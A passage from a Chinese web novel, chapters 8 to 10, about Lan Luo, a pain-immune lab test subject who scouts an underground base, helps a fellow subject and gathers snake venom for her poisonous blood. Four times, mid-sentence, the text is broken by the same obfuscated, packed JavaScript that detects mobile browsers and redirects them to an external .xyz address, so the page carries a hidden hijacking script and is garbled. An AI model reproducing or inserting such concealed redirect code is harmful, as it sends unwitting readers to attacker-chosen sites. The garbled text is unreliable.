祝见尘手从口袋伸出来,手心放着一个小巧的吹风机,看上去还是新的。 “吹头发用,你的房间应该没有配这个。”他把吹风机往前递了递。 兰落接过吹风机,是真的有点惊喜了:“谢谢你,终于不用风干了。” 她扬起一个灿烂无害的笑容,看得祝见尘连连后退,直到后背贴在墙上。 “你好怪,”他摸了摸鼻子,“别这样,正常一点就好。” 兰落唇角降下来,亮晶晶的眼睛也变得毫无光泽。 装多了,已经成习惯了。 “哦,那我先回去,”她平静开口,“耽误这么久,再不洗该臭了。” 兰落拎着吹风机越过祝见尘,自顾自往前走,没理会倚着墙看她的祝见尘。 没走几步,祝见尘的脚步声就在身后响起。 “脏了,替你扔了。” 他飞快伸手抽走兰落搭在肩膀上的毛巾,撂下一句话就头也不回地走了,好像有鬼在追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766448|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的。 兰落莫名其妙地回头,摸了摸自己的发梢。 脏了吗? 可能吧,擦了这么久的头发,肯定沾上不少治疗液。 兰落洗完澡仔细吹了吹头发,又好好睡了一觉,整个下午都没人来烦她,只有花子中途溜进来一次,怀里藏着一袋面包。 “哟,好得真快。” 花子把面包塞给兰落,毫不见外地坐在地上。 兰落看了一眼她坐的地方,那里本来有一大片沾了血渍的毛毯,叶飞把毛毯拿走当证据了,现在地上缺了一块,花子也不嫌弃。 “哪来的面包?”兰落捏了捏包装袋,没敢下口。 “面包怪的遗产,”花子眼珠滴溜溜地到处转,“吃了吧,就当他补偿你的。” 兰落看她的眼神就知道她想干嘛了,干脆主动开口:“柜子里有点吃的,你自己挑吧。” 花子眼睛顿时亮起来:“还是你上道!” 她撅着屁股翻了半天,嘴里嘟嘟囔囔的:“怎么都是干的?我想喝牛奶,你的牛奶呢?” “喝了呗。”兰落垂下眼睛自然地回答。 “切,”花子不屑地揣了点吃的,“这帮没人性的,也不知道给你多准备点,小短命鬼吃一顿少一顿呀。” 说完就拍拍屁股走人了,一点没觉得自己说的话晦气。 兰落把面包塞进柜子里,没跟她计较。 花子说她短命鬼不是一天两天了,也许在她的认知里,实验体的命都是这样的,短命只是事实罢了。 兰落发了会儿呆,确定暂时不会有人打扰自己之后才放松下来。 她盯着门口的墙角发呆,一墙之隔的走廊外,有一个小小的机械眼,孜孜不倦地注视着她的房间。 面包怪死了,这条走廊的机械眼应该暂时无人看管,对她来说倒是个好机会…… “……个屁。” 兰落面无表情地反驳自己,机械眼总有人会接手看管,除非她能在有人接手前溜走。 这太不现实了,况且没有这条走廊的机械眼,还有其他乱七八糟的机械眼和研究员,暗处也不知道有没有安保在守着。 逃?异想天开。 先老老实实改花刀吧。 兰落疲惫地闭上双眼,决定继续认怂。 “咚咚咚!” 又不知道是谁在敲门,兰落叹口气,从床上起身开门。 她猜是花子,或者是祝见尘。 门一打开,祝见尘的小白脸就急不可耐地钻了进来:“惊不惊喜!我猜你肯定休息好了,就来找你了。” 看吧,她猜对了。 兰落眼神萎靡地盯着祝见尘,看他好奇地东看一下西摸一下,然后一屁股坐在沙发上。 又不是第一次来了,好奇个屁。 “真巧,”她淡淡开口,“你和花子错峰探监了,所以我根本没有好好休息过。” “花子?”祝见尘伸了个懒腰,“谁啊?” 兰落掏出花子送来的面包招待他:“骂我短命鬼的那个。” “哦,”祝见尘接过面包,“有毒吗?竟然肯分享给我。” “不知道。”兰落懒得编,直言不讳。 祝见尘安静片刻,捏了捏面包,突然一拍脑袋: “花子?我好像想起来了!” “她被送进电击房了!” 兰落心里涌起不妙的预感:“做电工去了?” “挨电击去了!” 8. 找人 兰落把祝见尘赶走之后,思来想去还是决定去看一眼花子。 不谈其他,单说花子来探监过她好几次,礼尚往来她也该探望一下花子。 更重要的是,兰落需要更加熟悉基地的路线,她大可以仗着找不到电击房四处观察,反正暂时也没人会来烦她。 兰落的房间是按照陆观的要求布置的,距离其他实验体很远,离出口也非常远,几乎深埋在基地最内部。 她看似漫无目的地在空旷的走廊上穿梭,脑海中却在描绘基地的形状。 基地大厅是离地面通道最近的地方,她的房间则在离通道最远的地方,不过房间和大厅之间有一条宽阔的主路,可以让她从房间快速抵达大厅。 至于之前的手术室之类的地方,则在以大厅为起点的左侧部分,研究员的休息室也多集中在附近。 而花子等人的房间,应该在与研究员相对的基地另一边。 也就是说,所有人都是以大厅为起点向各处延伸,兰落的房间夹在研究员和实验体之间,向左是研究员,向右是实验体,向前则是没有遮挡的大厅。 那向后呢? 研究员不会一直住在这里,如果他们要外出的话,都是从大厅前面的通道离开吗? 兰落经过大厅很多次,从来没有见过有人从大厅前出现,除了陆观。 所以她一直怀疑,也许基地有另一个出口,研究员平时都是从那里进出的。 兰落一脸茫然地走到休息室附近,像迷路了一样左顾右盼,沿着一条窄窄的小路摸索。 这条路看上去和所有分叉路都一样,只不过窄了一点,机械眼好像也少了一点。 “喂!站住!” 兰落看到前面分成了两条不同的岔路,刚想走过去看一看,身后就响起一声暴喝。 她浑身一抖,像是被吓到了一样缓缓转身,揪着自己的衣领缩着脖子道歉:“怎么了?” 来人是个面生的壮汉,腕上贴着膏药一样的东西,脚上踩着一双运动鞋,简陋的白大褂穿在他身上几乎要炸开,整个人看上去不伦不类的。 “代号多少?为什么出现在这里?哪个研究员放你出来的?”壮汉一双三角眼牢牢盯着兰落,连珠炮似的发问。 兰落眼圈一红后退半步,声音像蚊子似的:“我是兰落,想找我的朋友,但是基地的地形太复杂了,我迷路了。这里是不是不让进?我马上就走……” 壮汉一愣,紧紧皱着的眉头松了一点:“你就是兰落?这儿不是你该来的地方,你想看谁就让研究员把他放进你房间,不要乱走。” 虽然他的语气还是很生硬,但明显比刚刚客气了很多。 兰落也没想到陆观的威慑力这么强,不过是开玩笑似的提了一嘴,底下的人就开始对她客客气气的了。 不过……听他的语气,似乎不认识自己的脸? 明明陆观来的时候所有研究员都集合了,她当时也在场,大家理应都认识她,为什么这个壮汉会不认识自己? 难道他根本没有去大厅? 为什么不去呢?是陆观不够重要?还是说,这里有更重要的东西? “谢谢,打扰了。”兰落收回思绪,朝壮汉点点头,然后就毫不留恋地原路返回了。 她不能打草惊蛇,不能让基地对自己有所戒备,他们最好永远把她当做一个胆小如鼠的实验体来蔑视。 被蔑视的人,才有偷偷成功的机会。 兰落演戏演到底,即便脑海里已经对这些路线了如指掌,依旧装出一副茫然的样子,一路摸索着回到大厅。 陆观早就走了,大厅已经恢复往日的平静,原本属于面包怪的位置,已经被其他人代替,几个研究员分散在不同的角落,一眼严肃地注视着眼前的屏幕。 看到兰落出现在这里,其中一个研究员抬头张了张嘴,又低头闭上嘴巴假装没看见。 其他研究员更是把头埋低,尽量忽略她。 好爽……兰落面无表情地想,这就是关系户的待遇吗?来去自如行动自由,不管干什么都没人指手画脚,再趾高气昂的研究员也要对她客客气气的。 要不是明白自己是待宰的实验体,她还真要把自己当成座上宾了。 兰落掩饰着眼底的不屑和嘲讽,坐在大厅悄悄观察通道。 走过这条通道就是厚重的密码门,门外是消毒通道,消毒通道外是另一重密码门。 她唯一知道拥有生物密码的人,只有陆观。 “那个,”兰落捋了捋头发,假装无聊地四处看,避免被他们发现自己在看通道,“你们知道电击房在哪吗?” 几个人的动作有一瞬间的停滞,然后他们很默契地选择沉默,没有搭理她。 “请问电击房在哪?”兰落恍若未觉,依然很有礼貌地询问。 一个矮矮的中年女研究员抬起头扶了一下丑丑的眼镜:“往那走,沿着右手一直走。” 兰落顺着她指的方向扫了一眼,回过头对女人微笑道谢。 中年女人拧着眉头抿着唇没有回应她,继续低头忙活了。 兰落不在意他们的态度,按照女人指的路走过去,绕了好几个圈子才找到电击房。 她站在门口抬头看着门牌上的“电击房”三个字,内心嗤笑他们连表面功夫都懒得做,电击房竟然直接叫电击房,他们的解剖室好歹还用手术室来掩人耳目呢。 兰落推开双开的大门,里面出现和检查室类似的玻璃隔间,隔间里面有一张巨大的椅子,上面连接着密密麻麻的线路。 椅子是空的,花子不在里面。 坐在外间的研究员看到兰落有些惊讶:“你来这里做什么?” “花子在吗?我来看她。” “不在,回去吧,没事不要乱跑。” 研究员挥挥手赶人,客气里夹杂着藏不住的嫌弃。 兰落嘴里答应着,脚步却没动,站在原地仔细观察着,同时竖起耳朵听。 研究员看了她两眼,嘴里嘟哝两句,却没开口驱逐她。 陆观说话真有用啊,兰落再一次感慨。 见四处都找不到人,她转身抓住门把手,打算去花子住的地方找找看。 “呃……” 转身的瞬间,细微的呻吟声轻飘飘地落到兰落的耳朵里,拦住了她的脚步。 兰落回头看着研究员:“请问,你有听到什么声音吗?” 研究员认真地盯着电子屏,随口敷衍她:“没有。” 兰落皱眉,不再理会研究员,自己推开隔间门走了进去。 “哎哎哎!” 研究员看见了,一下从凳子上窜起来着急忙慌喊住她:“不能进,非实验人员勿进,小心弄坏设备,你先出来!” 兰落握着隔间门把手,轻声细语地道歉:“不好意思,我只是想找找花子。” 研究员看她态度良好,胸膛挺了挺:“你先回去,到时候让人把她带到你房间,没事不要乱晃,妨碍实验。” “妨碍?”兰落一脸愧疚,“抱歉,陆先生说让我配合实验来着的,没想到妨碍你们了,真是不好意思。下次陆先生来的时候,你们可以和他提一提这件事,总让我乱跑也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766449|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个办法。” 她低眉顺眼地威胁研究员,对于自己把陆观搬出来狐假虎威这件事毫不心虚。 “你……”研究员沉吟半天,“你、哎,那边那边,小门儿里。” 说完就一屁股坐下,假装看不见兰落。 兰落的视线停留在研究员身上,只不过让他指个路而已,三番四次不理人,一定要把上面的主子搬出来吓一吓他才愿意开尊口,真是贱得没边。 她没有起伏的嘴角在拉开小门后彻底压成了一条直线。 小门里是个空空的小房间,里面什么都没有,只有一个人披头散发地瘫软在地,扭曲的姿势像个死人,只有偶尔溢出嘴边的呻吟证明她还活着。 “花子?” 兰落小心翼翼地喊了一声。 脸朝下趴在地上的花子手指动了动,然后费力地扭过脑袋,把脸朝向兰落:“兰……” “嗯。”兰落说,“你怎么了?” 花子现在的姿势很滑稽,上半身和下半身在地上摆成“L”的形状,侧脸贴地,乱糟糟的头发糊了满脸,一张嘴就被吃进嘴巴里。 “你问的什么废话?” 她虽然虚弱,嘴却硬,缓了缓继续开口:“你空手来的啊。” 兰落看了看自己的双手,没觉得不好意思:“只是想来看看你的,没想到你这么严重。” 花子闭上眼睛,呸一声吐出嘴里的头发:“他们给我喝了个不知道啥玩意的腥了吧唧的血就拉过来电了,一直问我疼不疼,还不准给我用药,一帮……” 下面几个字她可能怕被研究员听到,说得很小声,兰落也没听清,反正肯定是骂人的话,不重要。 她在意的,是花子说的血。 喝血、痛感、不准用药,兰落几乎可以确定花子喝下的是自己的血。 哈,陆观还真节省,自己的血研究完再给其他实验体喝了继续研究。 兰落心里一阵恶心,面上却不显。 反正那些血都是废的,除了难喝,没有任何作用。 “你知道吗?”花子似乎越聊越有力气,“我发现你错了。” 兰落心里一跳:“什么?” 花子舔舔嘴唇:“你跟我说七九六十二,是错的。” 兰落放下心来,回忆了一下,她刚认识花子的时候的确撒过这种谎。 那时候兰落怀疑花子在伪装,故意说了很多错误的常识试探她,没想到花子照单全收,每条都信了。 “你读书多,我信你。”花子当时一点头就把这些东西记住了,对兰落的每句话都很信任。 兰落这才慢慢打消了对她的怀疑,开始相信这个世界上真的有花子这种莽撞又世故的蠢货存在。 她捏住拳头,扫了眼外面探头探脑的研究员:“嗯,我记错了,你怎么知道的。” 花子语气如常,甚至带着点小骄傲:“电击椅有七个档位,他们电了我九轮,我数过了,一共是六十三次,不是六十二。” 兰落轻轻咬住自己的舌尖,叹了口气:“还不如六十二呢。” 花子哼唧两声没有接话,整张脸皱成一团。 兰落看出她在忍痛,脚步挪了一下,用身子挡住窄窄的的门口,弯下腰摸了一把花子的嘴角: “你看你,头发都吃到嘴里了。” 她说完就直起身,握成拳的右手里有一抹红痕一闪而过,消失在指间。 花子下意识舔舔唇,卷走干燥唇角上的一点冰凉。 “你!” 几瞬之后,她不可思议地抬起眼睛,嗓子里溢出一个音节。 9. 身体 兰落看到花子的反应,不由自主皱眉,开始后悔自己一时头脑不清醒的举动。 她早就实验过,自己的血离体超过一分钟就会失效,所以研究员取走的她的血都是废血,研究不出任何东西。 到现在为止他们只知道自己没有痛觉,但不知道她的血也可以屏蔽别人的痛觉。她刚刚也是看花子太可怜被自己连累受电击,才一时心软给了花子一滴血。 要是她的秘密因此被发现,那就太得不偿失了,还不如让花子继续趴在地上嚎。 兰落背对着研究员,竖起一根手指示意花子不要声张。 花子依旧趴在地上,像个乌龟似的努力抬起头看她,收到兰落的信号后就紧紧抿住嘴巴,没再多嘴。 兰落松了一口气,至少花子没吱吱哇哇地闹到研究员跟前。 花子把脸重新贴在地上,时不时虚弱地呻吟一声。 她的演技很好,如果兰落不是知情人的话,恐怕根本看不出来她是装的。 “你……好好休息吧。” 兰落后退几步,替花子关上了小门。 研究员正在纸上写写画画,没怎么注意这里的动静,兰落停在门口问:“电击结束了,为什么不给她用药?” 研究员头也不抬:“观察自愈而已,再过十分钟不起效就送回去了。” 这话异常熟悉,兰落没再问下去,拉开门离开了。 心意到了,礼也到了,剩下的都是花子自己的事,和她没有关系了。 兰落循着记忆走回房间,把自己关进卫生间之后才松开了一直紧握的拳头。 她的指腹有一道细小的伤口,是为了给花子喂血故意划开的,用的是金属身份牌的边角。 这个身份牌还是陆观吩咐下来给她做的。 实验体原本没有身份牌,都是把编号用特制的印章刻在身上,陆观说她和其他实验体不同,不需要烙印,做个身份牌就行了,基地的人就做了个又小又轻的金属牌,边角很钝,完全没有攻击力。 兰落知道这是怕她伤害研究员或者自残,但他们可能想不到,再钝的金属,磨一磨也是可以成材的。 她闲来没事就磨,磨到现在才好不容易把金属牌的一个角磨锋利,虽然没什么杀伤力,但做点小事还是很够用的。 比如划伤自己来取血。 兰落把金属身份牌擦干净放进床头柜,在置物架上找了瓶特效药喷在手上,那道小小的口子没多久就直接愈合了。 药是张烈让人送来的,兰落粗略观察了一下,里面几乎包含了所有常用药,把空空的置物架摆得很满。 看来张烈也是个谄媚的狗。 兰落无聊地把药分门别类整理了一遍,没找到适合她吃的,这才放弃,转头去磨金属牌。 她已经很久没服毒了,万一身体太健康了可不好,得找个机会搞点有毒的。 兰落没想到自己刚想到身体,祝见尘就嚷嚷着要来捉她做检查。 “你没正事吗?”兰落莫名其妙,“为什么别的研究员比你忙那么多?” 祝见尘笑嘻嘻的:“谁让我是关系户呢?你快配合点,不然我唯一的正事也没得做了。” 兰落没拒绝,反正能扫描出来的他们早就知道了,扫描不出来的,他们就算检查一万次也没用。 况且她也想知道自己目前的具体情况。 “这次可别画画了,”兰落躺在检查床上,对祝见尘毫无信任,“认真给我检查一次,我要自己看结果。” “我很认真的好不好?”祝见尘嘟嘟囔囔。 他一屁股坐下,撑着下巴半真半假地抱怨:“你都没有实验体的自觉,竟然对我态度这么差,我看你对叶飞他们态度就很好嘛。” “叶飞怎么样了?”兰落没理会他的抱怨。 祝见尘转了转笔:“不知道。你知道的,我是关系户,还是野种,他们都不待见我,怎么会把这些事情告诉我呢?” 他的语气里没什么坏情绪,开玩笑似的说出这番话,于是兰落直接过滤了这些废话,当做什么都没听到。 祝见尘也不烦她了,老老实实地操作机器给她检查了一遍身体。 兰落感受着熟悉的嗡嗡声,突然有些恍惚。 上次躺在这里,她对基地一无所知,对祝见尘一无所知,对不死之力也一无所知,像个无头苍蝇一样。 现在躺在这里,她已经熟悉了基地的大致情况,也知道了祝见尘是个爱发神经游手好闲的家伙,更是觉醒了传承的记忆,知道了获得完整不死之力的方法。 一切,都在命运的安排下向着她前进的方向前进。 如果顺利,她会尽快离开这里; 如果运气好,她会成功躲过追捕; 如果有机会,她会直接吞噬掉兰升; 如果…… ——如果祝见尘能安静点,她会有更多时间来思考自己的未来。 兰落皱着眉从检查床上跳下来:“你到底在惊讶什么?” 从刚刚开始,他就一脸意外地盯着电脑,嘴里时不时“哇”两声,吵得人没办法不注意到他。 祝见尘一脸神秘地朝她招手:“过来,偷偷给你看。” 兰落心中一跳,还以为自己的身体有了什么状况,压着情绪快步上前,单手撑着桌子看屏幕。 屏幕上什么都没有。 兰落泄出一口气,既出乎意料又觉得意料之中,她早该料到的,祝见尘做出什么奇葩事都是正常的。 “所以你在看什么?” 她侧头看着祝见尘,企图从他脸上看出尴尬或者心虚。 兰落个子不算矮,但和祝见尘比起来还是矮了不少,即使他是坐着的,兰落也只比他高出一个头而已。 她一手撑着桌边,面露不解地微微低头,耳边的发丝垂落下来,在两人中间轻晃着。 兰落看着祝见尘倚在靠背上的身体坐直了,表情也从夸张的惊讶逐渐收敛,而后抿住唇,眼神胡乱飘着。 看吧,她就知道他会心虚。 兰落指了指屏幕,继续问:“所以你到底在看什么?” 祝见尘摸了摸鼻子,然后手指一抬指着兰落手指不远的地方:“喏,虫子打架。” 兰落顺着他手指的方向看去,凑近了屏幕才看见两只小得可怜的虫子正扭打在一起。 她凑得太近,连轻微的呼吸都能直接扑打在祝见尘伸直的手指上。 兰落看见祝见尘手指蜷缩了一下,然后唰一下收回去,抄进口袋里不动了。 “你就在看这个?”她问。 祝见尘看天看地不看虫子:“嗯啊,就看这个而已。” 兰落不说话了,伸出食指一下摁死两只虫子,抽出一张纸巾擦手:“不要玩忽职守,给我看看我的身体数据。” 祝见尘看了一眼被她扔进垃圾桶的小飞虫尸体,脸上竟然有一丝遗憾:“哦……” “你现在挺健康的,没什么问题。” 他把扫描出来的数据调出来,脚下一动就把椅子滑到一边,把正对着电脑的位置让给兰落。 兰落滑动着鼠标,专心致志地看自己的身体数据,完全没注意到趴在桌边的祝见尘也在专心看。 他倒是没撒谎,扫描出来的数据显示兰落的身体没有任何异常,甚至体重都增加了两公斤。 “没问题我走了。”兰落撂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766450|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼠标转身就走。 “哦。”祝见尘还是趴在桌边,语气闷闷的,竟然显得他有些乖顺。 兰落奇怪地看他一眼,不知道他为什么一会儿精力充沛一会儿安静如鸡,只能归结为他脑子又坏了。 走到门口,祝见尘的声音又响起了: “兰落,你身上有药味儿。” 兰落闻了闻自己,没闻出什么味道:“在房间试了一下他们送来的药,可能沾上味儿了。” 祝见尘把脸埋进手臂,只露出一双眼睛,声音被闷在臂弯里:“那你喜欢吗?” “喜欢什么?”兰落茫然。 “药。”他把头抬起来一点。 兰落推开门,随口敷衍:“喜欢,常备药有安全感。” 说完就松手走了出去,银白的金属门在她身后静悄悄地合上。 “是吗,我可是挑了很久,把库房效果最好的药全都挑出来了。” 不过门的隔音效果太好,所以兰落也没有听见祝见尘略带骄傲的话。 她又去了电击房,这里已经大门紧锁,门上挂着“禁止入内”的牌子。 看来是已经结束了,兰落干脆去了花子住的地方,也就是她口中的“鸽子笼”。 鸽子笼其实就是很多个挨在一起的小单间,每间只能放下一张床和一个简陋的卫生间,其余的什么都没有。 每间的门上都有一个正方形的洞,上面分布着栏杆,方便研究员观察内部的同时不被里面的人伤害到。 总之看起来和监狱没什么两样。 一部分房间门大开着,里面空空的,应该是被拉去做实验了,其余的房间不管吵闹还是安静都紧闭着。 兰落就在这里穿梭着,她大概知道花子住在哪间,慢慢观察着踱步过去。 花子躺在床上,皱着眉头似乎在忍耐着极大的痛苦。 还挺有义气的。 “是我。”兰落透过栏杆看她。 花子听到她的声音,半死不活的呻吟停住了,眉头也松了一点:“哎呦,怎么又空手来了?” “就来看看你,”兰落笑得无辜,“这里好压抑,我都怕突然钻出来一条毒蛇把我咬了。” 花子继续装痛,一边哼唧一边提醒她:“这可不是开玩笑的,你记得别走s组分叉,那边真有毒蛇,见人就咬。” “好吓人,”兰落垂眸,“幸好刚刚没走那条路,不过门关着的应该没事吧。” “怎么没事?”花子说,“那货仗着蛇头窄,天天从栏杆钻出去咬人。” 兰落点点头:“原来如此,我记住了。” 她跟花子隔着门随便寒暄了几句,就收回话头准备离开。 花子的声音追在身后:“记得避开s组!” 兰落没回应,低着头七拐八绕,像散步似的在鸽子笼里晃悠,来到了一条稍显昏暗的路口。 她犹豫着踩进去,走进分岔路的瞬间左侧的房门就传出剧烈撞击声。 兰落朝右边靠了靠,右边的门里就开始发出粗重的呼吸声,然后是一连串骂娘。 她不搭理,被吓坏了似的加快步伐走过去,一路朝着尽头走去。 “小心。” 倏然,一道清澈的陌生提醒伴着风声钻进她的耳朵。 兰落听到这声提醒,下意识停住脚步。 “啊——!” 女孩的尖叫声充斥着恐惧,兰落后退两步撞在身后的门板上。 漆黑细长的蛇头被她的声音惊到,嗖的一声退了回去,不安分地在门内嘶嘶作响。 兰落挣扎着站起身,扶住身后的门,那道陌生声音再次在她身后响起: “你还好吗?” 10. 用药 兰落一下松开扶着门的手,面朝着发出声音的房间:“你是谁?” 门后沉默几秒,然后缓缓开口:“关在这里的,当然是实验体了。” 兰落一边小心着身后随时可能探出来的蛇头,一边透过栏杆观察面前房间里的人。 这间房很昏暗,只能看清门口的地板,里面的人躺在最里面的床上,只能隐约辨认出形状。 “刚刚是你提醒我?”兰落说,“谢谢你了。” 被子动了一下,人影开口:“不用谢,我只是比较有经验。” 听起来是个温和的人,怎么和这些暴躁狂关在一起了? 兰落还没来得及细问,在附近的研究员就快步走了过来。 “怎么回事?又被咬了?” 研究员啪一下关上了蛇头的栏杆小门,彻底阻挡了他进攻的可能。 兰落摇摇头:“没有,只是被吓到了。” 研究员挥挥手:“没事就离开,少来脏乱差的地方。” 兰落点点头,跟着研究员屁股后面走出鸽子笼,一脸后怕地说:“真吓人,幸好有那个好心人提醒我,不然我肯定要被咬了。” 研究员冷哼一声:“好心人?以前就属他最不老实,现在瘫了总算安分不少。” “不老实?真是没看出来,我还好奇他为什么关在这里呢。”兰落附和。 研究员带着兰落走到远离鸽子笼的地方就准备往回走,闻言停下脚步,叉着腰一脸头疼地说:“基地刚建他就来了,那时候实验体太少了,天天拿他做实验,每回都弄伤研究员,难搞死了。” “幸好瘫了,他奶奶的,不然还打他。” 研究员骂骂咧咧地走了,留下兰落一脸若有所思地站在原地。 倒不是她真在思考什么,而是那蛇头太毒,她快撑不住了。 兰落不想被别人发现自己的异常,硬是咬着牙装作没事人回了房间。 一回房间她就控制不住瘫软在地,满头大汗地喘息着。 她的手肘内侧有两个小小的血洞,是抬手抵挡蛇头的时候被咬伤的。 被咬的一瞬间,兰落就开始浑身无力头晕目眩,她知道这蛇肯定朝她注射了有麻痹效果的毒素,压着心底的兴奋在研究员面前表现出害怕,为的就是保留毒素。 也算是得来全不费工夫。 兰落强撑着昏沉的大脑,让毒素在自己的体内逐渐蔓延,渐渐融化进血液中。 这是她在从小到大不断的实践中摸索出的异能使用方法。 小时候她误食过灭鼠药,当时眼睛一翻昏睡了很久,醒来还是无精打采的,一头撞在地上把嘴巴磕出血,然后她就惊奇地发现地上的虫子沾到血液后竟然很快就死了。 后来为了印证自己的猜想,兰落继续偷偷吃老鼠药,等精神恢复了就继续划伤自己,把血混在兰升的饭里,看他吃完饭啪的一声倒在地上,才真正确认了这个能力。 当年欺负她的同学,就是这么死的。 他们没有兰升那么幸运的能力,被兰落忽悠着信了她的血包治百病,一个个争着舔刀上的血渍。 然后没出几天就像蟑螂一样死了。 想到这,兰落忍不住笑了一下,连同着血管里流淌的血液都在轻轻震颤。 不过她的血倒也不是完全有毒性,比如花子喝下的就是未经毒素污染的“纯净血”,不仅不会死,反而可以屏蔽痛觉。 兰落抚摸着两个深深的血洞,心里久违地涌起满足和安全感。 比起药,毒更让她安心。 等身体缓过来一些,兰落就赶紧从地上爬起来,对着伤口猛猛喷了愈合药。 这道伤口比她手指上自己划的严重得多,愈合起来也不太容易,她只能尽量避免被人发现。 只求暂时没人来烦她。 怕什么来什么,没一会儿兰落的房门就被拍得震天响。 她盘腿坐在地上,捂着伤口扬声问:“什么事?” “是我是我。” 门外是祝见尘还带着微喘的应答,兰落翻了个大白眼,维持着正常的音调:“你是谁?” “哇,”祝见尘拖长尾音,“你连我的声音都听不出来了吗?是我呀,祝见尘,你专属的体检师。” 兰落当然听出他的声音了,只是想拖延一下时间,她现在没什么精神,祝见尘好歹也算半个医生,很容易就能看出她的不对劲。 “不是刚检查过吗?怎么,你没玩够,还要再来一次?” 她在床边小步试探着,努力让自己的步伐不显得那么奇怪。 祝见尘像只精力过剩的大狗一样挠门缝:“找你玩不行吗?我刚刚经过大厅看到你在收纳所乱晃,那里不是什么好地方,你可要小心点。” 兰落了然,原来他是从机械眼看到自己了。收容所就是鸽子笼,那里的机械眼不多,分别在每条路的两端分布,中间都是没有监控的地带,所以她才敢冒险让蛇头咬自己一口。 “知道了,你就是来说这个的?” 她的走路姿势逐渐恢复正常,用力闻了闻,空气里也没什么药味儿了,这才慢慢走到门口用右手拉开房门。 门口的祝见尘还维持着弯腰扣门缝的姿势,有几分猥琐,但清澈见底的双眸和一身洁白制服冲淡了这种猥琐,让他看起来颇具少年的活泼。 兰落觉得他可能真的有点犬类基因,在基地关久了精力得不到释放所以才又神经又烦人。 “你多大了?”她假装潇洒地抱臂倚墙,恢复着体力,同时遮盖住手肘的伤口。 之前的衣服染血不能穿了,叶飞给她发的新制服是短袖,根本盖不住伤口。 祝见尘愣了一下,站得笔直:“21,怎么了?” 兰落瞥他一眼,发现他似乎是真的在等她的回答。 她就随口一问,年龄而已,又不是成绩,他到底在期待什么? “挺年轻的,怪不得比其他人有活力。”兰落朝里走了几步,一屁股坐在床上。 祝见尘也跟在后面慢慢走,没走几步就停下来:“兰落。” 兰落坐在床上,时刻不忘收着手臂:“怎么了?” “好浓的药味。” 他的眼睛牢牢盯着兰落,语气却很平静,似乎只是在叙述一个事实。 兰落动了动鼻子:“是吗?可能试药的时候弄出来太多,味道散不出去。” “这也不怪我吧,谁让你们把基地建在地底下,通风效果肯定不如地面。” 祝见尘不说话,转身去捞药瓶。 兰落看着他精准地拿出了自己用过的那瓶药,在手里掂了掂。 “你可能不清楚,这款药是刚研发出来的,还没有问世,基地也是花了不少代价才提前拿了一批。” “它最大的特点,就是接触空气后快速挥发,一般在十分钟左右就能完全挥发,所以需要特制的容器小心保存。” “而距离你试药,已经过去不知道多少个十分钟了。” “还是说,你在十分钟之内,也就是我敲门的时候,又心血来潮,试了一次药?” 兰落歪着头,用她惯常的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766451|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茫然表情听着祝见尘劈头盖脸的质疑。 这还是她第一次见祝见尘这么专业认真的样子,一点儿没有之前吊儿郎当的庸医样。 是她看错他了,看来祝见尘还是有两把刷子的,不是完全的关系户,没那么好糊弄。 兰落表面镇定天真,心里已经开始打鼓,烦躁的情绪再一次蔓延。 “我乐意,”她面无表情,“觉得好闻。” 祝见尘摩挲着药瓶,静静站在原地,一双眼睛眨也不眨地盯着兰落。 半晌,他叹口气把药放回原位: “你喜欢就好。” “平时也记得注意身体,毕竟是药三分毒。” 兰落松了一口气,心里那点烦躁像潮水一样慢慢褪去,偏过脑袋点点头就当翻篇。 这要是面包怪之类的人在场,她还真不敢这么理不直气也壮,只能怪祝见尘平时太散漫,在她心里的威胁性实在太低了。 “所以你来干什么?”她岔开话题,拉回祝见尘放在药柜上的视线。 祝见尘把几瓶药调换了一下位置:“不干嘛,刚刚不是说了吗,看到你出现在收纳所了,怕你出事。” 兰落坐在床上看他摆弄这些药,没力气也没兴趣阻止他了,干脆随他折腾。 祝见尘忙活一会儿,挑出一小盒不起眼的药片,背对着兰落扔到她怀里。 